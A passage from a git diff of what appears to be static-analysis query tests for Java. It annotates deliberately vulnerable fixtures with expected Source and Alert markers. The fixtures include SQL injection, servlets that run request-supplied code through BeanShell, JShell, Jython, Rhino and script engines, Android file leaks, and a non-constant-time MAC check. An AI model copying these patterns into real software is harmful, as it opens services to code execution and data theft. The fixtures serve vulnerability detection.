List bad1(@RequestParam String name) { + public List bad1(@RequestParam String name) { // $ Source[java/mybatis-xml-sql-injection] List result = mybatisSqlInjectionService.bad1(name); return result; } @GetMapping(value = "msi2") - public List bad2(@RequestParam String name) { + public List bad2(@RequestParam String name) { // $ Source[java/mybatis-xml-sql-injection] List result = mybatisSqlInjectionService.bad2(name); return result; } @GetMapping(value = "msi3") - public List bad3(@ModelAttribute Test test) { + public List bad3(@ModelAttribute Test test) { // $ Source[java/mybatis-xml-sql-injection] List result = mybatisSqlInjectionService.bad3(test); return result; } @RequestMapping(value = "msi4", method = RequestMethod.POST, produces = "application/json") - public void bad4(@RequestBody Test test) { + public void bad4(@RequestBody Test test) { // $ Source[java/mybatis-xml-sql-injection] mybatisSqlInjectionService.bad4(test); } @RequestMapping(value = "msi5", method = RequestMethod.PUT, produces = "application/json") - public void bad5(@RequestBody Test test) { + public void bad5(@RequestBody Test test) { // $ Source[java/mybatis-xml-sql-injection] mybatisSqlInjectionService.bad5(test); } @RequestMapping(value = "msi6", method = RequestMethod.POST, produces = "application/json") - public void bad6(@RequestBody Map params) { + public void bad6(@RequestBody Map params) { // $ Source[java/mybatis-xml-sql-injection] mybatisSqlInjectionService.bad6(params); } @RequestMapping(value = "msi7", method = RequestMethod.POST, produces = "application/json") - public void bad7(@RequestBody List params) { + public void bad7(@RequestBody List params) { // $ Source[java/mybatis-xml-sql-injection] mybatisSqlInjectionService.bad7(params); } @RequestMapping(value = "msi8", method = RequestMethod.POST, produces = "application/json") - public void bad8(@RequestBody String[] params) { + public void bad8(@RequestBody String[] params) { // $ Source[java/mybatis-xml-sql-injection] mybatisSqlInjectionService.bad8(params); } @GetMapping(value = "msi9") - public void bad9(@RequestParam String name) { + public void bad9(@RequestParam String name) { // $ Source[java/mybatis-annotation-sql-injection] mybatisSqlInjectionService.bad9(name); } @GetMapping(value = "msi10") - public void bad10(@RequestParam Integer id, @RequestParam String name) { + public void bad10(@RequestParam Integer id, @RequestParam String name) { // $ Source[java/mybatis-annotation-sql-injection] mybatisSqlInjectionService.bad10(id, name); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java index 6e334ea35dd..7a686c0498a 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java +++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjectionService.java @@ -11,48 +11,48 @@ public class MybatisSqlInjectionService { private SqlInjectionMapper sqlInjectionMapper; public List bad1(String name) { - List result = sqlInjectionMapper.bad1(name); + List result = sqlInjectionMapper.bad1(name); // $ Alert[java/mybatis-xml-sql-injection] return result; } public List bad2(String name) { - List result = sqlInjectionMapper.bad2(name); + List result = sqlInjectionMapper.bad2(name); // $ Alert[java/mybatis-xml-sql-injection] return result; } public List bad3(Test test) { - List result = sqlInjectionMapper.bad3(test); + List result = sqlInjectionMapper.bad3(test); // $ Alert[java/mybatis-xml-sql-injection] return result; } public void bad4(Test test) { - sqlInjectionMapper.bad4(test); + sqlInjectionMapper.bad4(test); // $ Alert[java/mybatis-xml-sql-injection] } public void bad5(Test test) { - sqlInjectionMapper.bad5(test); + sqlInjectionMapper.bad5(test); // $ Alert[java/mybatis-xml-sql-injection] } public void bad6(Map params) { - sqlInjectionMapper.bad6(params); + sqlInjectionMapper.bad6(params); // $ Alert[java/mybatis-xml-sql-injection] } public void bad7(List params) { - sqlInjectionMapper.bad7(params); + sqlInjectionMapper.bad7(params); // $ Alert[java/mybatis-xml-sql-injection] } public void bad8(String[] params) { - sqlInjectionMapper.bad8(params); + sqlInjectionMapper.bad8(params); // $ Alert[java/mybatis-xml-sql-injection] } public void bad9(String name) { HashMap hashMap = new HashMap(); hashMap.put("name", name); - sqlInjectionMapper.bad9(hashMap); + sqlInjectionMapper.bad9(hashMap); // $ Alert[java/mybatis-annotation-sql-injection] } public void bad10(Integer id, String name) { - sqlInjectionMapper.bad10(id, name); + sqlInjectionMapper.bad10(id, name); // $ Alert[java/mybatis-annotation-sql-injection] } public List good1(Integer id) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.java b/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.java index ee98929312b..015c1569df4 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.java @@ -10,24 +10,24 @@ public class BeanShellInjection { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/beanshell-injection] BshScriptEvaluator evaluator = new BshScriptEvaluator(); - evaluator.evaluate(new StaticScriptSource(code)); //bad + evaluator.evaluate(new StaticScriptSource(code)); // $ Alert[java/beanshell-injection] //bad } @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) throws Exception { - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/beanshell-injection] Interpreter interpreter = new Interpreter(); - interpreter.eval(code); //bad + interpreter.eval(code); // $ Alert[java/beanshell-injection] //bad } @GetMapping(value = "bad3") public void bad3(HttpServletRequest request) { - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/beanshell-injection] StaticScriptSource staticScriptSource = new StaticScriptSource("test"); staticScriptSource.setScript(code); BshScriptEvaluator evaluator = new BshScriptEvaluator(); - evaluator.evaluate(staticScriptSource); //bad + evaluator.evaluate(staticScriptSource); // $ Alert[java/beanshell-injection] //bad } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.qlref index 00de8652203..8476fa9ca1a 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-094/BeanShellInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-094/BeanShellInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.java b/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.java index 115030087ff..5e37c77e754 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.java @@ -9,24 +9,24 @@ public class JShellInjection { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { - String input = request.getParameter("code"); + String input = request.getParameter("code"); // $ Source[java/jshell-injection] JShell jShell = JShell.builder().build(); // BAD: allow execution of arbitrary Java code - jShell.eval(input); + jShell.eval(input); // $ Alert[java/jshell-injection] } @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) { - String input = request.getParameter("code"); + String input = request.getParameter("code"); // $ Source[java/jshell-injection] JShell jShell = JShell.builder().build(); SourceCodeAnalysis sourceCodeAnalysis = jShell.sourceCodeAnalysis(); // BAD: allow execution of arbitrary Java code - sourceCodeAnalysis.wrappers(input); + sourceCodeAnalysis.wrappers(input); // $ Alert[java/jshell-injection] } @GetMapping(value = "bad3") public void bad3(HttpServletRequest request) { - String input = request.getParameter("code"); + String input = request.getParameter("code"); // $ Source[java/jshell-injection] JShell jShell = JShell.builder().build(); SourceCodeAnalysis.CompletionInfo info; SourceCodeAnalysis sca = jShell.sourceCodeAnalysis(); @@ -34,7 +34,7 @@ public class JShellInjection { info.completeness().isComplete(); info = sca.analyzeCompletion(info.remaining())) { // BAD: allow execution of arbitrary Java code - jShell.eval(info.source()); + jShell.eval(info.source()); // $ Alert[java/jshell-injection] } } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.qlref index d5b2db58b53..ec418d1a57d 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-094/JShellInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-094/JShellInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.java b/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.java index ae5b6a8d5e4..93cbddd5778 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.java @@ -20,7 +20,7 @@ public class JakartaExpressionInjection { try (ServerSocket serverSocket = new ServerSocket(0)) { try (Socket socket = serverSocket.accept()) { byte[] bytes = new byte[1024]; - int n = socket.getInputStream().read(bytes); + int n = socket.getInputStream().read(bytes); // $ Source[java/javaee-expression-injection] String expression = new String(bytes, 0, n); action.accept(expression); } @@ -31,7 +31,7 @@ public class JakartaExpressionInjection { private static void testWithELProcessorEval() throws IOException { testWithSocket(expression -> { ELProcessor processor = new ELProcessor(); - processor.eval(expression); + processor.eval(expression); // $ Alert[java/javaee-expression-injection] }); } @@ -39,7 +39,7 @@ public class JakartaExpressionInjection { private static void testWithELProcessorGetValue() throws IOException { testWithSocket(expression -> { ELProcessor processor = new ELProcessor(); - processor.getValue(expression, Object.class); + processor.getValue(expression, Object.class); // $ Alert[java/javaee-expression-injection] }); } @@ -50,7 +50,7 @@ public class JakartaExpressionInjection { StandardELContext context = new StandardELContext(factory); ValueExpression valueExpression = factory.createValueExpression(context, expression, Object.class); LambdaExpression lambdaExpression = new LambdaExpression(new ArrayList<>(), valueExpression); - lambdaExpression.invoke(context, new Object[0]); + lambdaExpression.invoke(context, new Object[0]); // $ Alert[java/javaee-expression-injection] }); } @@ -58,7 +58,7 @@ public class JakartaExpressionInjection { private static void testWithELProcessorSetValue() throws IOException { testWithSocket(expression -> { ELProcessor processor = new ELProcessor(); - processor.setValue(expression, new Object()); + processor.setValue(expression, new Object()); // $ Alert[java/javaee-expression-injection] }); } @@ -66,7 +66,7 @@ public class JakartaExpressionInjection { private static void testWithELProcessorSetVariable() throws IOException { testWithSocket(expression -> { ELProcessor processor = new ELProcessor(); - processor.setVariable("test", expression); + processor.setVariable("test", expression); // $ Alert[java/javaee-expression-injection] }); } @@ -76,7 +76,7 @@ public class JakartaExpressionInjection { ExpressionFactory factory = new de.odysseus.el.ExpressionFactoryImpl(); ELContext context = new de.odysseus.el.util.SimpleContext(); ValueExpression e = factory.createValueExpression(context, expression, Object.class); - e.getValue(context); + e.getValue(context); // $ Alert[java/javaee-expression-injection] }); } @@ -86,7 +86,7 @@ public class JakartaExpressionInjection { ExpressionFactory factory = new de.odysseus.el.ExpressionFactoryImpl(); ELContext context = new de.odysseus.el.util.SimpleContext(); ValueExpression e = factory.createValueExpression(context, expression, Object.class); - e.setValue(context, new Object()); + e.setValue(context, new Object()); // $ Alert[java/javaee-expression-injection] }); } @@ -96,7 +96,7 @@ public class JakartaExpressionInjection { ExpressionFactory factory = new de.odysseus.el.ExpressionFactoryImpl(); ELContext context = new de.odysseus.el.util.SimpleContext(); MethodExpression e = factory.createMethodExpression(context, expression, Object.class, new Class[0]); - e.invoke(context, new Object[0]); + e.invoke(context, new Object[0]); // $ Alert[java/javaee-expression-injection] }); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.qlref index e00d8a11658..a1e03eeadcb 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-094/JakartaExpressionInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-094/JakartaExpressionInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.java b/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.java index f9b29fec6cc..653e7fd4afb 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.java @@ -25,7 +25,7 @@ public class JythonInjection extends HttpServlet { // BAD: allow execution of arbitrary Python code protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain"); - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/jython-injection] PythonInterpreter interpreter = null; ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -33,7 +33,7 @@ public class JythonInjection extends HttpServlet { interpreter = new PythonInterpreter(); interpreter.setOut(out); interpreter.setErr(out); - interpreter.exec(code); + interpreter.exec(code); // $ Alert[java/jython-injection] out.flush(); response.getWriter().print(out.toString()); @@ -50,12 +50,12 @@ public class JythonInjection extends HttpServlet { // BAD: allow execution of arbitrary Python code protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain"); - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/jython-injection] PythonInterpreter interpreter = null; try { interpreter = new PythonInterpreter(); - PyObject py = interpreter.eval(code); + PyObject py = interpreter.eval(code); // $ Alert[java/jython-injection] response.getWriter().print(py.toString()); } catch(PyException ex) { @@ -70,7 +70,7 @@ public class JythonInjection extends HttpServlet { // BAD: allow arbitrary Jython expression to run protected void doPut(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain"); - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/jython-injection] InteractiveInterpreter interpreter = null; ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -78,7 +78,7 @@ public class JythonInjection extends HttpServlet { interpreter = new InteractiveInterpreter(); interpreter.setOut(out); interpreter.setErr(out); - interpreter.runsource(code); + interpreter.runsource(code); // $ Alert[java/jython-injection] out.flush(); response.getWriter().print(out.toString()); @@ -94,7 +94,7 @@ public class JythonInjection extends HttpServlet { // BAD: load arbitrary class file to execute protected void doTrace(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain"); - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/jython-injection] PythonInterpreter interpreter = null; ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -103,7 +103,7 @@ public class JythonInjection extends HttpServlet { interpreter.setOut(out); interpreter.setErr(out); - PyCode pyCode = BytecodeLoader.makeCode("test", code.getBytes(), getServletContext().getRealPath("/com/example/test.pyc")); + PyCode pyCode = BytecodeLoader.makeCode("test", code.getBytes(), getServletContext().getRealPath("/com/example/test.pyc")); // $ Alert[java/jython-injection] interpreter.exec(pyCode); out.flush(); @@ -128,7 +128,7 @@ public class JythonInjection extends HttpServlet { interpreter.setOut(out); interpreter.setErr(out); - PyCode pyCode = Py.compile(request.getInputStream(), "Test.py", org.python.core.CompileMode.eval); + PyCode pyCode = Py.compile(request.getInputStream(), "Test.py", org.python.core.CompileMode.eval); // $ Alert[java/jython-injection] interpreter.exec(pyCode); out.flush(); diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.qlref index 7448a79394e..3d3b09f4801 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-094/JythonInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-094/JythonInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/RhinoServlet.java b/java/ql/test/experimental/query-tests/security/CWE-094/RhinoServlet.java index e76a9543f87..129c1903466 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/RhinoServlet.java +++ b/java/ql/test/experimental/query-tests/security/CWE-094/RhinoServlet.java @@ -25,11 +25,11 @@ public class RhinoServlet extends HttpServlet { // BAD: allow arbitrary Java and JavaScript code to be executed protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/plain"); - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/unsafe-eval] Context ctx = Context.enter(); try { Scriptable scope = ctx.initStandardObjects(); - Object result = ctx.evaluateString(scope, code, "", 1, null); + Object result = ctx.evaluateString(scope, code, "", 1, null); // $ Alert[java/unsafe-eval] response.getWriter().print(Context.toString(result)); } catch(RhinoException ex) { response.getWriter().println(ex.getMessage()); @@ -78,14 +78,14 @@ public class RhinoServlet extends HttpServlet { // BAD: allow arbitrary code to be compiled for subsequent execution protected void doGet2(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/unsafe-eval] ClassCompiler compiler = new ClassCompiler(new CompilerEnvirons()); - Object[] objs = compiler.compileToClassFiles(code, "/sourceLocation", 1, "mainClassName"); + Object[] objs = compiler.compileToClassFiles(code, "/sourceLocation", 1, "mainClassName"); // $ Alert[java/unsafe-eval] } // BAD: allow arbitrary code to be loaded for subsequent execution protected void doPost2(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String code = request.getParameter("code"); - Class clazz = new DefiningClassLoader().defineClass("Powerfunc", code.getBytes()); + String code = request.getParameter("code"); // $ Source[java/unsafe-eval] + Class clazz = new DefiningClassLoader().defineClass("Powerfunc", code.getBytes()); // $ Alert[java/unsafe-eval] } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/ScriptEngineTest.java b/java/ql/test/experimental/query-tests/security/CWE-094/ScriptEngineTest.java index ed7099d7598..a80003fe5eb 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/ScriptEngineTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-094/ScriptEngineTest.java @@ -21,14 +21,14 @@ public class ScriptEngineTest extends HttpServlet { ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); // Create with ScriptEngine reference ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js"); - Object result = scriptEngine.eval(input); + Object result = scriptEngine.eval(input); // $ Alert[java/unsafe-eval] } public void testNashornWithScriptEngineReference(String input) throws ScriptException { NashornScriptEngineFactory factory = new NashornScriptEngineFactory(); // Create Nashorn with ScriptEngine reference ScriptEngine engine = (NashornScriptEngine) factory.getScriptEngine(new String[] { "-scripting" }); - Object result = engine.eval(input); + Object result = engine.eval(input); // $ Alert[java/unsafe-eval] } @@ -36,27 +36,27 @@ public class ScriptEngineTest extends HttpServlet { NashornScriptEngineFactory factory = new NashornScriptEngineFactory(); // Create Nashorn with NashornScriptEngine reference NashornScriptEngine engine = (NashornScriptEngine) factory.getScriptEngine(new String[] { "-scripting" }); - Object result = engine.eval(input); + Object result = engine.eval(input); // $ Alert[java/unsafe-eval] } public void testCustomScriptEngineReference(String input) throws ScriptException { MyCustomFactory factory = new MyCustomFactory(); //Create with Custom Script Engine reference MyCustomScriptEngine engine = (MyCustomScriptEngine) factory.getScriptEngine(new String[] { "-scripting" }); - Object result = engine.eval(input); + Object result = engine.eval(input); // $ Alert[java/unsafe-eval] } public void testScriptEngineCompilable(String input) throws ScriptException { NashornScriptEngineFactory factory = new NashornScriptEngineFactory(); Compilable engine = (Compilable) factory.getScriptEngine(new String[] { "-scripting" }); - CompiledScript script = engine.compile(input); + CompiledScript script = engine.compile(input); // $ Alert[java/unsafe-eval] Object result = script.eval(); } public void testScriptEngineGetProgram(String input) throws ScriptException { ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); ScriptEngine engine = scriptEngineManager.getEngineByName("nashorn"); - String program = engine.getFactory().getProgram(input); + String program = engine.getFactory().getProgram(input); // $ Alert[java/unsafe-eval] Object result = engine.eval(program); } @@ -88,7 +88,7 @@ public class ScriptEngineTest extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { - String code = request.getParameter("code"); + String code = request.getParameter("code"); // $ Source[java/unsafe-eval] new ScriptEngineTest().testWithScriptEngineReference(code); new ScriptEngineTest().testNashornWithScriptEngineReference(code); diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/ScriptInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-094/ScriptInjection.qlref index 8bd566cf4fd..6aabb565b8b 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-094/ScriptInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-094/ScriptInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-094/ScriptInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/FileService.java b/java/ql/test/experimental/query-tests/security/CWE-200/FileService.java index 4641a975429..e3a89e3999a 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/FileService.java +++ b/java/ql/test/experimental/query-tests/security/CWE-200/FileService.java @@ -42,7 +42,7 @@ public class FileService extends Service { try { String[] uris = (String[]) params[1]; - outputStream = new FileOutputStream(uris[0]); + outputStream = new FileOutputStream(uris[0]); // $ Alert[java/sensitive-android-file-leak] return "success"; } catch (Exception e) { } diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.java b/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.java index 1405484c56a..275286e2710 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.java +++ b/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.java @@ -25,7 +25,7 @@ public class InsecureWebResourceResponse extends Activity { super.onCreate(savedInstanceState); setContentView(-1); - String inputUrl = getIntent().getStringExtra("inputUrl"); + String inputUrl = getIntent().getStringExtra("inputUrl"); // $ Source[java/insecure-webview-resource-response] getBadResponse1(inputUrl); @@ -65,7 +65,7 @@ public class InsecureWebResourceResponse extends Activity { Uri uri = Uri.parse(url); FileInputStream inputStream = new FileInputStream(uri.getPath()); String mimeType = getMimeTypeFromPath(uri.getPath()); - return new WebResourceResponse(mimeType, "UTF-8", inputStream); + return new WebResourceResponse(mimeType, "UTF-8", inputStream); // $ Alert[java/insecure-webview-resource-response] } catch (IOException ie) { return new WebResourceResponse("text/plain", "UTF-8", null); } @@ -88,7 +88,7 @@ public class InsecureWebResourceResponse extends Activity { File cacheFile = new File(getCacheDir(), uri.getLastPathSegment()); FileInputStream inputStream = new FileInputStream(cacheFile); String mimeType = getMimeTypeFromPath(uri.getPath()); - return new WebResourceResponse(mimeType, "UTF-8", inputStream); + return new WebResourceResponse(mimeType, "UTF-8", inputStream); // $ Alert[java/insecure-webview-resource-response] } else { return new WebResourceResponse("text/plain", "UTF-8", null); } @@ -114,7 +114,7 @@ public class InsecureWebResourceResponse extends Activity { if (path.startsWith("files/")) { FileInputStream inputStream = new FileInputStream(path.substring("files/".length())); String mimeType = getMimeTypeFromPath(uri.getPath()); - return new WebResourceResponse(mimeType, "UTF-8", inputStream); + return new WebResourceResponse(mimeType, "UTF-8", inputStream); // $ Alert[java/insecure-webview-resource-response] } else { return new WebResourceResponse("text/plain", "UTF-8", null); } @@ -196,7 +196,7 @@ public class InsecureWebResourceResponse extends Activity { File cacheFile = new File(getCacheDir(), uri.getLastPathSegment()); FileInputStream inputStream = new FileInputStream(cacheFile); String mimeType = getMimeTypeFromPath(uri.getPath()); - return new WebResourceResponse(mimeType, "UTF-8", inputStream); + return new WebResourceResponse(mimeType, "UTF-8", inputStream); // $ Alert[java/insecure-webview-resource-response] } else { return new WebResourceResponse("text/plain", "UTF-8", null); } @@ -234,7 +234,7 @@ class VulnerableWebViewClient extends WebViewClient { Uri uri = Uri.parse(url); FileInputStream inputStream = new FileInputStream(uri.getPath()); String mimeType = InsecureWebResourceResponse.getMimeTypeFromPath(uri.getPath()); - return new WebResourceResponse(mimeType, "UTF-8", inputStream); + return new WebResourceResponse(mimeType, "UTF-8", inputStream); // $ Alert[java/insecure-webview-resource-response] } catch (IOException ie) { return new WebResourceResponse("text/plain", "UTF-8", null); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.qlref b/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.qlref index 09049772ede..f592d7c83a7 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebResourceResponse.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-200/InsecureWebResourceResponse.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebViewActivity.java b/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebViewActivity.java index 6644eb97289..e63de5c9d4e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebViewActivity.java +++ b/java/ql/test/experimental/query-tests/security/CWE-200/InsecureWebViewActivity.java @@ -24,7 +24,7 @@ public class InsecureWebViewActivity extends Activity { setContentView(-1); webview = (VulnerableWebView) findViewById(-1); - String inputUrl = getIntent().getStringExtra("inputUrl"); + String inputUrl = getIntent().getStringExtra("inputUrl"); // $ Source[java/insecure-webview-resource-response] loadWebUrl(inputUrl); } @@ -55,7 +55,7 @@ class VulnerableWebView extends WebView { Uri uri = Uri.parse(url); FileInputStream inputStream = new FileInputStream(uri.getPath()); String mimeType = InsecureWebViewActivity.getMimeTypeFromPath(uri.getPath()); - return new WebResourceResponse(mimeType, "UTF-8", inputStream); + return new WebResourceResponse(mimeType, "UTF-8", inputStream); // $ Alert[java/insecure-webview-resource-response] } catch (IOException ie) { return new WebResourceResponse("text/plain", "UTF-8", null); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity.java b/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity.java index 3520ed0fd40..6d7cf90ce0b 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity.java +++ b/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity.java @@ -11,14 +11,14 @@ public class LeakFileActivity extends Activity { protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == GetFileActivity.REQUEST_CODE__SELECT_CONTENT_FROM_APPS && resultCode == RESULT_OK) { - loadOfContentFromApps(data, resultCode); + loadOfContentFromApps(data, resultCode); // $ Source[java/sensitive-android-file-leak] } } private void loadOfContentFromApps(Intent contentIntent, int resultCode) { Uri streamsToUpload = contentIntent.getData(); try { - RandomAccessFile file = new RandomAccessFile(streamsToUpload.getPath(), "r"); + RandomAccessFile file = new RandomAccessFile(streamsToUpload.getPath(), "r"); // $ Alert[java/sensitive-android-file-leak] } catch (Exception ex) { ex.printStackTrace(); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity2.java b/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity2.java index 56e695ec97a..c3fa282fc0e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity2.java +++ b/java/ql/test/experimental/query-tests/security/CWE-200/LeakFileActivity2.java @@ -12,8 +12,8 @@ public class LeakFileActivity2 extends Activity { if (requestCode == GetFileActivity.REQUEST_CODE__SELECT_CONTENT_FROM_APPS && resultCode == RESULT_OK) { Intent intent = new Intent(this, FileService.class); - intent.putExtra(FileService.KEY_LOCAL_FILE, localPath); - startService(intent); + intent.putExtra(FileService.KEY_LOCAL_FILE, localPath); // $ Source[java/sensitive-android-file-leak] + startService(intent); // $ Source[java/sensitive-android-file-leak] } } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-200/SensitiveAndroidFileLeak.qlref b/java/ql/test/experimental/query-tests/security/CWE-200/SensitiveAndroidFileLeak.qlref index a98eeb21914..d4cad711fc2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-200/SensitiveAndroidFileLeak.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-200/SensitiveAndroidFileLeak.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-200/SensitiveAndroidFileLeak.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.java b/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.java index 7a4433e485d..20a61b88c36 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.java +++ b/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.java @@ -11,8 +11,8 @@ public class Test { // BAD: compare MACs using a not-constant time method public boolean unsafeMacCheck(byte[] expectedMac, byte[] data) throws Exception { Mac mac = Mac.getInstance("HmacSHA256"); - byte[] actualMac = mac.doFinal(data); - return Arrays.equals(expectedMac, actualMac); + byte[] actualMac = mac.doFinal(data); // $ Source + return Arrays.equals(expectedMac, actualMac); // $ Alert } // GOOD: compare MACs using a constant time method @@ -27,8 +27,8 @@ public class Test { Signature engine = Signature.getInstance("SHA256withRSA"); engine.initSign(key); 